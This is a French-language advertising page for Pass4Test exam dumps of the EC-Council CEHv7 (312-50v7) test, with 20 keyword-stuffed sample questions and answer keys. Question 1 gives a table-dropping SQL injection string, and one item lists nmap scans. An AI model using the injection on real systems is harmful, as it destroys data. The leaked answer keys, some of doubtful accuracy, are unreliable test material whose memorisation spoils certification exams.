Le test EC-COUNCIL 312-50v7 est bien populaire dans l'Industrie IT. Donc il y a de plus en plus de gens à participer le test EC-COUNCIL 312-50v7. En fait, c'est pas facile à passer le test si on n'a pas une formation particulière. Pass4Test peut vous aider à économiser le temps et les efforts à réussir le test Certification.

Dans ce monde d'informatique, l'industrie IT est suivi par de plus en plus de ges. Dans ce domaine demandant beaucoup de techniques, il faut des Certificat à se preuver les techniques professionnelle. Les Certificats IT sont improtant pour un interviewé pendant un entretien. C'est pas facile à passer le test EC-COUNCIL 312-50v7, donc c'est pourquoi beaucoup de professionnels qui choisissent ce Certificat pour se preuver.

Le test EC-COUNCIL 312-50v7 est une examination de techniques professionnelles dans l'Industrie IT. Pass4Test est un site qui peut vous aider à réussir le test EC-COUNCIL 312-50v7 rapidement. Si vous utiliser l'outil de formation avant le test, vous apprendrez tous essences de test Certification EC-COUNCIL 312-50v7.

Pass4Test est un seul site de provider le guide d'étude EC-COUNCIL 312-50v7 de qualité. Peut-être que vous voyiez aussi les Q&A EC-COUNCIL 312-50v7 dans autres sites, mais vous allez découvrir laquelle est plus complète. En fait, Pass4Test est aussi une resource de Q&A pour les autres site web.

Différentes façons peuvent atteindre le même but, ça dépend laquelle que vous prenez. Beaucoup de gens choisissent le test EC-COUNCIL 312-50v7 pour améliorer la vie et la carrière. Mais tous les gens ont déjà participé le test EC-COUNCIL 312-50v7, ils savent qu'il est difficile à réussir le test. Il y a quelques dépensent le temps et l'argent, mais ratent finalement.

Code d'Examen: 312-50v7
Nom d'Examen: EC-COUNCIL (Ethical Hacking and Countermeasures (CEHv7))
Questions et réponses: 514 Q&As

Pass4Test a une équipe se composant des experts qui font la recherche particulièrement des exercices et des Q&As pour le test certification EC-COUNCIL 312-50v7, d'ailleurs ils peuvent vous proposer à propos de choisir l'outil de se former en ligne. Si vous avez envie d'acheter une Q&A de Pass4Test, Pass4Test vous offrira de matériaux plus détailés et plus nouveaux pour vous aider à approcher au maximum le test réel. Assurez-vous de choisir le Pass4Test, vous réussirez 100% le test EC-COUNCIL 312-50v7.

312-50v7 Démo gratuit à télécharger: http://www.pass4test.fr/312-50v7.html

NO.1 The following script shows a simple SQL injection. The script builds an SQL query by concatenating
hard-coded strings together with a string entered by the user: The user is prompted to enter the name of a
city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable -
B. Delete table'blah'; OrdersTable -
C. EXEC; SELECT * OrdersTable > DROP -
D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Answer: A

EC-COUNCIL examen   certification 312-50v7   certification 312-50v7

NO.2 How do you defend against ARP Spoofing? Select three.
A. Use ARPWALL system and block ARP spoofing attacks
B. Tune IDS Sensors to look for large amount of ARP traffic on local subnets
C. Use private VLANS
D. Place static ARP entries on servers, workstation and routers
Answer: A,C,D

EC-COUNCIL   312-50v7   certification 312-50v7   certification 312-50v7   certification 312-50v7   312-50v7

NO.3 This IDS defeating technique works by splitting a datagram (or packet) into multiple fragments and the
IDS will not spot the true nature of the fully assembled datagram. The datagram is not reassembled until it
reaches its final destination. It would be a processor-intensive task for IDS to reassemble all fragments
itself, and on a busy system the packet will slip through the IDS onto the network. What is this technique
called?
A. IP Routing or Packet Dropping
B. IDS Spoofing or Session Assembly
C. IP Fragmentation or Session Splicing
D. IP Splicing or Packet Reassembly
Answer: C

EC-COUNCIL   312-50v7 examen   certification 312-50v7   312-50v7   certification 312-50v7

NO.4 If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of
business, they just have to find a job opening, prepare someone to pass the interview, have that person
hired, and they will be in the organization.
How would you prevent such type of attacks?
A. It is impossible to block these attacks
B. Hire the people through third-party job agencies who will vet them for you
C. Conduct thorough background checks before you engage them
D. Investigate their social networking profiles
Answer: C

EC-COUNCIL   certification 312-50v7   312-50v7 examen

NO.5 Which of the following type of scanning utilizes automated process of proactively identifying
vulnerabilities of the computing systems present on a network?
A. Port Scanning
B. Single Scanning
C. External Scanning
D. Vulnerability Scanning
Answer: D

EC-COUNCIL examen   312-50v7 examen   312-50v7 examen   312-50v7

NO.6 Anonymizer sites access the Internet on your behalf, protecting your personal information from
disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you,
enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services
that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a
Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the
information using its own server. The remote server (where the requested Web page resides) receives
information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A. Increase your Web browsing bandwidth speed by using Anonymizer
B. To protect your privacy and Identity on the Internet
C. To bypass blocking applications that would prevent access to Web sites or parts of sites that you want
to visit.
D. Post negative entries in blogs without revealing your IP identity
Answer: B,C,D

EC-COUNCIL examen   312-50v7   312-50v7 examen

NO.7 Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie
recipe. Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co.
Jack tells Jane that there has been a problem with some accounts and asks her to verify her password
with him ''just to double check our records.'' Jane does not suspect anything amiss, and parts with her
password. Jack can now access Brown Co.'s computers with a valid user name and password, to steal
the cookie recipe. What kind of attack is being illustrated here?
A. Reverse Psychology
B. Reverse Engineering
C. Social Engineering
D. Spoofing Identity
E. Faking Identity
Answer: C

EC-COUNCIL   312-50v7   312-50v7   312-50v7 examen   312-50v7

NO.8 This type of Port Scanning technique splits TCP header into several packets so that the packet filters
are not able to detect what the packets intends to do.
A. UDP Scanning
B. IP Fragment Scanning
C. Inverse TCP flag scanning
D. ACK flag scanning
Answer: B

EC-COUNCIL   312-50v7 examen   312-50v7   certification 312-50v7

NO.9 You run nmap port Scan on 10.0.0.5 and attempt to gain banner/server information from services
running on ports 21, 110 and 123.
Here is the output of your scan results:
Which of the following nmap command did you run?
A. nmap -A -sV -p21,110,123 10.0.0.5
B. nmap -F -sV -p21,110,123 10.0.0.5
C. nmap -O -sV -p21,110,123 10.0.0.5
D. nmap -T -sV -p21,110,123 10.0.0.5
Answer: C

EC-COUNCIL examen   certification 312-50v7   312-50v7   certification 312-50v7

NO.10 Jimmy, an attacker, knows that he can take advantage of poorly designed input validation routines to
create or alter SQL commands to gain access to private data or execute commands in the database.
What technique does Jimmy use to compromise a database.?
A. Jimmy can submit user input that executes an operating system command to compromise a target
system
B. Jimmy can gain control of system to flood the target system with requests, preventing legitimate users
from gaining access
C. Jimmy can utilize an incorrect configuration that leads to access with higher-than expected privilege of
the database
D. Jimmy can utilize this particular database threat that is an SQL injection technique to penetrate a target
system
Answer: D

certification EC-COUNCIL   certification 312-50v7   certification 312-50v7   certification 312-50v7

NO.11 TCP SYN Flood attack uses the three-way handshake mechanism.
An attacker at system A sends a SYN packet to victim at system B.
System B sends a SYN/ACK packet to victim A.
As a normal three-way handshake mechanism system A should send an ACK packet to system B,
however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK
packet from client A.
This status of client B is called _________________
A. "half-closed"
B. "half open"
C. "full-open"
D. "xmas-open"
Answer: B

EC-COUNCIL examen   certification 312-50v7   certification 312-50v7   312-50v7

NO.12 What type of attack is shown in the following diagram?
A. Man-in-the-Middle (MiTM) Attack
B. Session Hijacking Attack
C. SSL Spoofing Attack
D. Identity Stealing Attack
Answer: A

EC-COUNCIL   certification 312-50v7   312-50v7   312-50v7

NO.13 More sophisticated IDSs look for common shellcode signatures. But even these systems can be
bypassed, by using polymorphic shellcode. This is a technique common among virus writers ?it basically
hides the true nature of the shellcode in different disguises.
How does a polymorphic shellcode work?
A. They encrypt the shellcode by XORing values over the shellcode, using loader code to decrypt the
shellcode, and then executing the decrypted shellcode
B. They convert the shellcode into Unicode, using loader to convert back to machine code then executing
them
C. They reverse the working instructions into opposite order by masking the IDS signatures
D. They compress shellcode into normal instructions, uncompress the shellcode using loader code and
then executing the shellcode
Answer: A

EC-COUNCIL   312-50v7 examen   312-50v7

NO.14 You are the security administrator of Jaco Banking Systems located in Boston. You are setting up
e-banking website (http://www.ejacobank.com) authentication system. Instead of issuing banking
customer with a single password, you give them a printed list of 100 unique passwords. Each time the
customer needs to log into the e-banking system website, the customer enters the next password on the
list. If someone sees them type the password using shoulder surfing, MiTM or keyloggers, then no
damage is done because the password will not be accepted a second time. Once the list of 100
passwords is almost finished, the system automatically sends out a new password list by encrypted e-mail
to the customer.
You are confident that this security implementation will protect the customer from password abuse.
Two months later, a group of hackers called "HackJihad" found a way to access the one-time password
list issued to customers of Jaco Banking Systems. The hackers set up a fake website
(http://www.e-jacobank.com) and used phishing attacks to direct ignorant customers to it. The fake
website asked users for their e-banking username and password, and the next unused entry from their
one-time password sheet. The hackers collected 200 customer's username/passwords this way. They
transferred money from the customer's bank account to various offshore accounts.
Your decision of password policy implementation has cost the bank with USD 925,000 to hackers. You
immediately shut down the e-banking website while figuring out the next best security solution
What effective security solution will you recommend in this case?
A. Implement Biometrics based password authentication system. Record the customers face image to the
authentication database
B. Configure your firewall to block logon attempts of more than three wrong tries
C. Enable a complex password policy of 20 characters and ask the user to change the password
immediately after they logon and do not store password histories
D. Implement RSA SecureID based authentication system
Answer: D

EC-COUNCIL   312-50v7   certification 312-50v7   312-50v7   312-50v7

NO.15 Which of the following countermeasure can specifically protect against both the MAC Flood and MAC
Spoofing attacks?
A. Configure Port Security on the switch
B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
Answer: A

EC-COUNCIL   312-50v7   312-50v7   312-50v7 examen   312-50v7 examen

NO.16 SYN Flood is a DOS attack in which an attacker deliberately violates the three-way handshake and
opens a large number of half-open TCP connections. The signature of attack for SYN Flood contains:
A. The source and destination address having the same value
B. A large number of SYN packets appearing on a network without the corresponding reply packets
C. The source and destination port numbers having the same value
D. A large number of SYN packets appearing on a network with the corresponding reply packets
Answer: B

EC-COUNCIL   certification 312-50v7   certification 312-50v7   312-50v7

NO.17 How do you defend against Privilege Escalation?
A. Use encryption to protect sensitive data
B. Restrict the interactive logon privileges
C. Run services as unprivileged accounts
D. Allow security settings of IE to zero or Low
E. Run users and applications on the least privileges
Answer: A,B,C,E

EC-COUNCIL   certification 312-50v7   312-50v7 examen   certification 312-50v7   312-50v7

NO.18 What does ICMP (type 11, code 0) denote?
A. Source Quench
B. Destination Unreachable
C. Time Exceeded
D. Unknown Type
Answer: C

certification EC-COUNCIL   312-50v7 examen   312-50v7

NO.19 Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order
to find some information about the target they are attempting to penetrate. How would you call this type of
activity?
A. Dumpster Diving
B. Scanning
C. CI Gathering
D. Garbage Scooping
Answer: A

EC-COUNCIL examen   certification 312-50v7   312-50v7   312-50v7

NO.20 Lori is a Certified Ethical Hacker as well as a Certified Hacking Forensics Investigator working as an IT
security consultant. Lori has been hired on by Kiley Innovators, a large marketing firm that recently
underwent a string of thefts and corporate espionage incidents. Lori is told that a rival marketing company
came out with an exact duplicate product right before Kiley Innovators was about to release it. The
executive team believes that an employee is leaking information to the rival company. Lori questions all
employees, reviews server logs, and firewall logs; after which she finds nothing. Lori is then given
permission to search through the corporate email system. She searches by email being sent to and sent
from the rival marketing company.
She finds one employee that appears to be sending very large email to this other marketing company,
even though they should have no reason to be communicating with them. Lori tracks down the actual
emails sent and upon opening them, only finds picture files attached to them. These files seem perfectly
harmless, usually containing some kind of joke. Lori decides to use some special software to further
examine the pictures and finds that each one had hidden text that was stored in each picture.
What technique was used by the Kiley Innovators employee to send information to the rival marketing
company?
A. The Kiley Innovators employee used cryptography to hide the information in the emails sent
B. The method used by the employee to hide the information was logical watermarking
C. The employee used steganography to hide information in the picture attachments
D. By using the pictures to hide information, the employee utilized picture fuzzing
Answer: C

EC-COUNCIL   312-50v7   312-50v7 examen   certification 312-50v7

Pas besoin de beaucoup d'argent et de temps, vous pouvez passer le test EC-COUNCIL 312-50v7 juste avec la Q&A de EC-COUNCIL 312-50v7 offerte par Pass4Test qui vous offre le test simulation bien proche de test réel.